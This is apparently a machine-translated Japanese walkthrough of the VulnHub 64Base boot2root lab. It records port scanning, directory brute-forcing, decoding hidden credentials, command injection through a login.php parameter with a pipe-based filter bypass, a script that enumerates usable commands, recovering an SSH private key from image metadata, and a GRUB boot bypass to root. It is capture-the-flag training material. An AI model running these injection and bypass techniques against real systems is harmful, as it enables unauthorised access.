VulnHub Simple 64Base Solution:Boot2Root





最近、 VulnHub64Base Boot2Rootと呼ばれる新しい仮想イメージを公開しました。 記事と同様に、タスクは初心者向けに設計されています。 そのため、いずれかのソリューションが単純すぎると思われる場合でも驚かないでください。



始めましょう



説明では、フラグの数とその形式を確認します。

収集するフラグは6つあります。 それぞれflag1 {ZXhhbXBsZSBmbGFnCg ==}の形式で帝国を破り、手遅れになる前にデススターの計画を盗みます。


イメージをダウンロードし、設定をインポートし、仮想マシンのプロパティを開き、[ネットワーク]セクションで、ネットワークブリッジをアダプターに設定し、保存、実行します。 そして、nmapを使用して仮想マシンを探しています。



sudo nmap -A 192.168.1.1-255 -p1-65535
      
      





次の結論が得られます。



 Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-12 22:13 MSK Nmap scan report for 192.168.1.2 Host is up (0.0040s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Apache httpd 2.4.10 ((Debian)) 4899/tcp open radmin 62964/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) MAC Address: 08:00:27:68:E7:F8 (Oracle VirtualBox virtual NIC)
      
      





4つのポートのうち2つが正常に検出されました-これらは80および62964で、2つのポートはnmapによって検出されませんでした。 しかし、それらについては後で。



flag1



アドレス192.168.1.2:80に移動し、メインページに移動します。







碑文が目を引くもの: dmlldyBzb3VyY2UgO0QK



Base64からこれをデコードし、ヒントを取得します: ソースを表示; D



では、ページコードを見てください。この碑文の横にコメントがあります。



 <div class="site-heading"> <h1>64base</h1> <hr class="small"> <span class="subheading">dmlldyBzb3VyY2UgO0QK</span> <!--5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a--> </div>
      
      





HEX-> ASCII-> Base64-> ASCIIに変換した後



最初のフラグを取得します。



flag1 {NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg ==}


フラグをbase64からASCIIに変換しようとすると、資格情報を取得できます

64base:Th353 @ r3N0TdaDr01DzU @ reL00K1ing4


flag2



そして、ユーザー名と想定されるパスワードがあります。 利用可能なファイルとディレクトリを探しています:



 sudo dirsearch -r -u http://192.168.1.2 -e php,txt,bak -w /usr/share/dirb/wordlists/big.txt -f -x 301,403
      
      









基本認証/管理者のページが見つかりました。 最後のフラグで見つかった資格情報が適合しませんでした。 sshでは、接続できませんでした。 どうやら何かが失われたようです。 短い検索の後、サイトの単語を別の辞書に解析することにしました。 Pythonスクリプトはこれを助けました:



非表示のテキスト
 #!/usr/bin/python3 import re import requests import sys def repl(txt): txt = txt.replace('<!', ' ').replace('>', ' ').replace('</', ' ').replace('\n', ' ').replace('<', ' ').replace('"', ' ').replace('=', ' ').replace(':', ' ').replace('--', ' ').replace('/', ' ').replace("'", " ").replace('©', ' ').replace(',', ' ').replace('#', ' ').replace('→a', ' ').replace('?', ' ').replace('.', ' ').replace(';', ' ').replace('(', ' ').replace(')', ' ').replace('{', ' ').replace('}', ' ') return txt.strip() words = [] url = sys.argv[1] req = requests.get(url).text.splitlines() for item in req: item = repl(item) tmp = [x.strip() for x in item.split(' ') if x.strip() != ''] for word in tmp: if word not in words: words.append(word) w = open(sys.argv[2], 'w') for x in words: w.write('%s\n' %(x)) w.close()
      
      





見つかったページごとに実行してみましょう。



 ./parser.py http://192.168.1.2/index.html index ./parser.py http://192.168.1.2/about.html about ./parser.py http://192.168.1.2/post.html post ./parser.py http://192.168.1.2/contact.html contact cat index about post contact | sort -u > words.lst
      
      





ディレクトリ検索を再度実行します。



 sudo dirsearch -u http://192.168.1.2/ -r -f -w words.lst -e php,txt,json,bak -x 301
      
      











別の興味深いディレクトリが見つかりました。 robots.txtファイルを見ると、エントリが見つかります。



禁止:/インペリアル級/


どうやらこれは著者のジョークの1つであり、説明で言及されていました。 移行時に承認が要求され、以前に受け取ったユーザー名とパスワードを入力すると、ログインできます!



しかし、早く喜び、私たちはメッセージに迎えられました。



[]エラー:パスが正しくありません!..暗い側へ!


Imperial-Classのサイトを検索すると、次のフレーズが見つかります。

あなたが本当のインペリアルクラスのバウンティハンターである場合にのみ応答


うーん、アドレス192.168.1.2/Imperial-Class/BountyHunterにアクセスしようとすると、次の認証ページに移動します。







ソースコードを見ると、次のことがわかります。



別のコード化されたフラグ
 <body bgcolor=#000000><font color=#cfbf00> <form name="login-form" id="login-form" method="post" action="./login.php"> <fieldset> <legend>Please login:</legend> <dl> <dt> <label title="Username">Username: <input tabindex="1" accesskey="u" name="function" type="text" maxlength="50" id="5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" /> </label> </dt> </dl> <dl> <dt> <label title="Password">Password: <input tabindex="2" accesskey="p" name="command" type="password" maxlength="15" id="584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32" /> </label> </dt> </dl> <dl> <dt> <label title="Submit"> <input tabindex="3" accesskey="l" type="submit" name="cmdlogin" value="Login" /> <!-- basictoken=52714d544a54626d51315a45566157464655614446525557383966516f3d0a --> </label> </dt> </dl> </fieldset> </form>
      
      







組み合わせ、HEXを変換-> TEXT-> Base64-> TEXT、2番目のフラグを取得します。

flag2 {aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g / dj12Snd5dEZXQTh1QQo =}


今回は、 YouTubeリンクがヒントではなくフラグにエンコードされます



flag3



許可フォーム192.168.1.2/Imperial-Class/BountyHunter/index.phpがあります。いくつかのオプションを試した後、 login.phpにPOSTリクエストを送信すると、エラーなしでindex.phpにリダイレクトされます。 。



curlを使用したリダイレクトプロセスを詳しく見てみましょう。



 curl http://192.168.1.2/Imperial-Class/BountyHunter/login.php -H 'Authorization: Basic NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0'
      
      





驚きに応えて、次のフラグを受け取りました。



flag3 {NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2

luLnBocD9mPWV4ZWMmYz1pZAo =}


そして、その中にエンコードされた新しいツールチップ:



53cr3t5h377 / Imperial-Class / BountyHunter / login.php?F = exec&c = id


flag4



前のフラグのヒントを使用して、アドレス192.168.1.2/Imperial-Class/BountyHunter/login.php?f=exec&c=idに移動します







うーん、 post.htmlページから写真を覚えておいてください



写真




EXECをSYSTEMに置き換えます: 192.168.1.2/Imperial-Class/BountyHunter/login.php?f= system& c=idそして、新しいフラグ、ヒント、仮想マシンのシェルを取得します。







flag4 {NjRiYXNlOjY0YmFzZTVoMzc3Cg ==}


ツールチップで、新しい認証情報を検索します: 64base:64base5h377



flag5



見つかったシェルの可能性を少し調べたところ、実行可能なコマンドのリストが非常に限られており、さらにスラッシュのフィルターがあることが明らかになりました。 それらのどれが私たちに利用可能かを決定することは残っています。



利用可能なコマンドを反復処理する辞書を作成します。



 for item in $(ls /usr/sbin/ && ls /usr/bin/ && ls /sbin/ && ls /bin/); do echo $item >> /tmp/unix_command2.lst; done sort -u /tmp/unix_command2.lst > unix_command.lst
      
      





次に、この辞書をPythonスクリプトにフィードします。



コード
 #!/usr/bin/python import requests import sys, re url = 'http://192.168.1.2/Imperial-Class/BountyHunter/login.php' param = {'f':'system', 'c':''} basic = ('64base', 'Th353@r3N0TdaDr01DzU@reL00K1ing4') if len(sys.argv) == 1: print('Usage: brute_sh.py [wordlist]') sys.exit(0) words = open(sys.argv[1], 'r').read().splitlines() for item in words: param['c'] = '%s --help' %(item) req = requests.get(url, params=param, auth=basic) if len(req.text.splitlines()) > 9: print('Found cmd: %s' %(item))
      
      







そして、次の結論が得られます。



見つかったコマンド:base64

見つかったコマンド:cat

見つかったコマンド:id

見つかったコマンド:見つける

見つかったコマンド:ls

見つかったコマンド:nc

見つかったコマンド:ps

見つかったコマンド:w

見つかったコマンド:wget

見つかったコマンド:who

見つかったコマンド:whoami


ただし、シンボル|をフィルター処理しないため、それほど多くはありません。 その後、チームの最初にそれを代用すると、いずれかを実行する機会が得られます。 渡されたパラメーターで遊んだこと

次のリクエストを受け取ります:



 |locate admin|grep html|xargs find
      
      





PSここと以下では、引数cに渡す必要のあるコマンドを直接示します。



出力は次のようになります。



/ var / www / html / admin

/var/www/html/admin/index.php

/ var / www / html / admin / S3cR37

/ var / www / html / admin / S3cR37 / flag5 {TG9vayBJbnNpZGUhIDpECg ==}

/var/www/html/admin/.htaccess

/var/www/html/admin/.htaccess

/var/www/html/admin/index.php


旗が見つかったので、新しい手がかり: Look Inside! :D



flag6



このファイルの内部を確認するように求められます。 それではやってみましょう:



 #      |locate admin|grep html|xargs find|grep TG|xargs cp -t . #   |ls|grep TG|xargs chmod 777
      
      





ブラウザで開くと、ファイルは写真であることがわかりました。







exiftoolを実行して、この画像のメタデータを確認します。



非表示のテキスト
ExifToolバージョン番号:9.46

ファイル名:flag5 {TG9vayBJbnNpZGUhIDpECg ==}。Jpeg

ディレクトリ:。

ファイルサイズ:192 kB

ファイル変更日時:2016:12:16 05:32:02 + 03:00

ファイルアクセス日時:2016:12:16 05:32:08 + 03:00

ファイルiノードの変更日時:2016:12:16 05:32:02 + 03:00

ファイル許可:rw -------

ファイルの種類:JPEG

MIMEタイプ:image / jpeg

JFIFバージョン:1.01

解像度単位:インチ

X解像度:72

Y解像度:72

コメント:

画像の幅:960

画像の高さ:720

エンコーディングプロセス:ベースラインDCT、ハフマンコーディング

サンプルあたりのビット数:8

色成分:3

Y Cb Crサブサンプリング:YCbCr4:4:4(1 1)

画像サイズ:960x720



[ コメント]フィールドの内容をコピーし、前のフラグと同じ変換を実行します。 途中で、フラグの代わりに、秘密のRSAキーが与えられました。



非表示のテキスト
----- RSAプライベートキーの開始-----

Proc-Type:4、暗号化済み

DEK-Info:AES-128-CBC、621A38AAD4E9FAA3657CA3888D9B356C



mDtRxIwh40RSNAs2 + lNRHvS9yhM + eaxxU5yrGPCkrbQW / RgPP + RGJBz9VrTkvYw6

YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz

8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel + 6HGObF8Zh3MIchy8s1XrE0

kvLKI252mzWw4kbSs9 + QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse

MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4 + zhu6jOWYH

k2hdCHNSt + iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob

wXRf5BcGKU97xdorV2Tq + h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx + 98K8KpWL

guJPRPKGijo96HDGc3L5YsxObVg + / fj0AvsKfrcV / lxaW + Imymc1MXiJMbmCzlDw

TAWmaqkRFDyA1HUvtvSeVqS1 / HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd

2d3G + Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv

AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG

4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW + GkN9L + 9CPy8 + DNunFIwx

+ T ++ 7Qg / uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs

fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi

+ j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19 + Me8JEhQ8KNXDwQKDyULFOTsz

13VfBNxYsyL5zGXNzyqZ4I / OO7Med2j0Gz0g21iHA / 06mrs2clds6SUBGEvn8NiV

rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy / e10F745xDMATKRlKZ6rYHMCxJ3Icnt

Ez0OMXYdC6CiF / IWtgdU + hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE

Rx3HUqfnKShr​​uzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X / ReF / AaMxkbSdEOFsI

Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG

Yiaa5o7877 / fw6YZ / 2U3ADdiSOBm + hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj

qJanSk8175z0bjrXWdLG3DSlIJislPW + yDaf7YBVYwWR + TA1kC6ieIA5tU3pn / I3

64Z5mpC + wqfTxGgeCsgIk9vSn2p / eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v + P

fnHLQvEwIs + Bf1CpK1AkZeUMREQkBhDi72HFbw2G / zqti / YdnqxAyl6LZzIeQn8t

/ Gj4karJ1iM9If39dM5OaCVZR / TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP

----- RSAプライベートキーの終了-----



これを使用してssh経由で接続します



 ssh root@192.168.1.2 -p 62964 -i key.rsa
      
      





簡単に推測できるように、パスワードは写真に記載されており、接続に成功すると最後のフラグが表示されます。

flag6 {NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1N

GU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU

0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5

MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0

ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNj

M3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}


コマンドがエンコードされる場所: base64 -d /var/local/.luke|less.real

そして、仮想マシンへのルートアクセス。 割り当て完了!



PSこのラボには、少なくとも1つの方法があります。



ダーティハック
イメージをVirtualBoxにロードした直後に、認証リクエストが表示されます。 ブート中にGRUBが使用されていることに気付く場合があります。そのため、リブートし、OS選択メニューが表示されるのを待って、ブートオプションを変更します。





ブートしてルートを取得します。 システムを見て回ると、サイトのディレクトリに移動します。

コマンドを実行することにより:



 cd /var/www/html ls -l | wc -l
      
      





このディレクトリ内の要素の数を取得しますが、それらは443個でしたが、現時点ではadminディレクトリが必要です。 S3cR37フォルダーの内容を見ると、2番目のフラグが見つかります







ここで、このディレクトリとユーザー名へのパスワードハッシュを見つけることができます。

64base:$ apr1 $ SNPbKyA8 $ 0.2pIMdx4JVVA6jsX / Ru30







index.htmlファイルの内容を見て、最初のフラグを取得します。 コマンドを実行します:



 grep -r flag3 /var/www/
      
      





そして3番目の旗を見つけます







同様に、5番目と6番目のフラグを見つけます。



 root@64base:~# find /var/www/html/ -name flag*
      
      





/ var / www / html / admin / S3cR37 / flag5 {TG9vayBJbnNpZGUhIDpECg ==}


 root@64base:~# grep -r flag6 /
      
      





/root/.profile:echo«FLAG6フラグ(90Hコマンド){NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}»


さて、ファイル/var/www/html/Imperial-Class/BountyHunter/login.phpから4番目のフラグ抽出してデコードします。



$ _U = BASE64_DECODE( 'ZWNobyAnPGg0PmZsYWc0e05qUmlZWE5sT2pZMFltRnpaVFZvTXpjM0NnPT19PC9oND4nO2NhdC5yZWFsIC9ldGMvaXNzdWU7ZGF0ZTt1bmFtZSAtYTsvc2Jpbi9pZmNvbmZpZyBldGgwfC91c3Ivc2hhcmUvZ3JlcC5yZWFsIGluZXQ7ZWNobwo =')。 " '。$ _ s;





All Articles